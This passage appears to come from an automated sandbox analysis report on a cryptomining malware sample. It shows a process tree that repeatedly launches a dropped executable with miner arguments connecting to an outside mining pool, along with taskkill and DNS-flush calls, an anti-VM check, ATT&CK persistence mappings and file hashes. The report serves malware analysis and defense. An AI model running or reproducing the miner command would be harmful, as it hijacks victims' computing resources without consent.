  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3456
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:2752
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5656
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5764
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5844
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6124
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:6008
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5952
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5892
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1548
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:5200
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5888
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5936
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:6004
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5356
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:3540
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:1636
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6080
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6100
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5864
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:5988
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:6084
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2420
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:5992
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5888
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:5312
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5864
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4504
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:5220
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:4300
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5356
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:6096
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:5508
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:2328
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5508
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:5312
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5324
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ipconfig /flushdns
  2⤵
  PID:960
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /flushdns
    3⤵
    - Gathers network information
    PID:5268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:5868
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5032
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:5764
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c taskkill /f /im sBnopqr.exe&&exit
  2⤵
  PID:860
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im sBnopqr.exe
    3⤵
    - Kills process with taskkill
    PID:708
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  - Executes dropped EXE
  PID:3576
- C:\ProgramData\sBnopqr.exe
  C:\ProgramData\sBnopqr.exe -o stratum+tcp://auto.c3pool.org:19999 -u 4 -p R --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
  2⤵
  PID:6096

C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe
1⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
PID:5116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SMB.exe

Filesize
3.1MB

MD5
7b2f170698522cd844e0423252ad36c1

SHA1
303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

SHA256
5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

SHA512
7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

Download Submit
C:\ProgramData\X64.dll

Filesize
85KB

MD5
c7fad963ad8e46e773dc5ee9177ab218

SHA1
92a68b223b2d2e501c1f0123fabf63e15fff4d11

SHA256
7417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc

SHA512
efd3511ddf487e08515ff301fd8d521060f37ad8035e0c19fb5d9c730df444ced918596f54994d9d090c889a79ba3d431f96ae4fc942b0c4a8aa0c145a05419c

Download Submit
C:\ProgramData\X86.dll

Filesize
71KB

MD5
900c175024c7aa58aab0c62897e2471a

SHA1
fc51f654aa35576b5421869ba621effe73bf1c46

SHA256
de23da87e7fbecb2eaccbb85eeff465250dbca7c0aba01a2766761e0538f90b6

SHA512
45ed21b83987a0a5e4320d06cabf8534aa04dfb0a5f7ff1d9df6ae247f7b813a9a5c8d36edb2132e07ef3f5b0eb49ac1757328ca73ae95d894b7eb23abd591e9

Download Submit
C:\ProgramData\sBnopqr.exe

Filesize
1.3MB

MD5
23d84a7ed2e8e76d0a13197b74913654

SHA1
23d04ba674bafbad225243dc81ce7eccd744a35a

SHA256
ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

SHA512
aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

Download Submit
C:\Users\Admin\AppData\Local\Temp\1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8.exe

Filesize
9.0MB

MD5
6b4f06f6c6c73a1d56c5a66be8306541

SHA1
2af7e6175abe6f102520b61a92e03990c80cc2f4

SHA256
1172a8b8cb6975d716b1f133462c2a8506e17f142c95ca220f4ffe066229f2a8

SHA512
fda4c6bde698c62c66f6e8023f1cdd84b7fca99c19f8c02882045d19ba983e7a9a0223f6ffbebbe2d8ffb363b02f437f550413cb16bdff110d4da3e09e0b0ed2

Download Submit
memory/1548-172-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/1732-141-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/2292-153-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/2420-191-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/2976-157-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3456-148-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3456-150-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3540-179-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3560-10-0x0000022259800000-0x0000022259814000-memory.dmp

Filesize
80KB

Download
memory/3560-138-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3560-8-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3560-132-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/3576-227-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/4504-195-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5268-224-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5268-223-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5312-214-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5324-217-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5324-218-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5764-220-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5816-199-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5844-161-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5864-187-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5892-168-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/5936-176-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/6096-211-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/6100-183-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download
memory/6124-164-0x00007FF681C00000-0x00007FF682244000-memory.dmp

Filesize
6.3MB

Download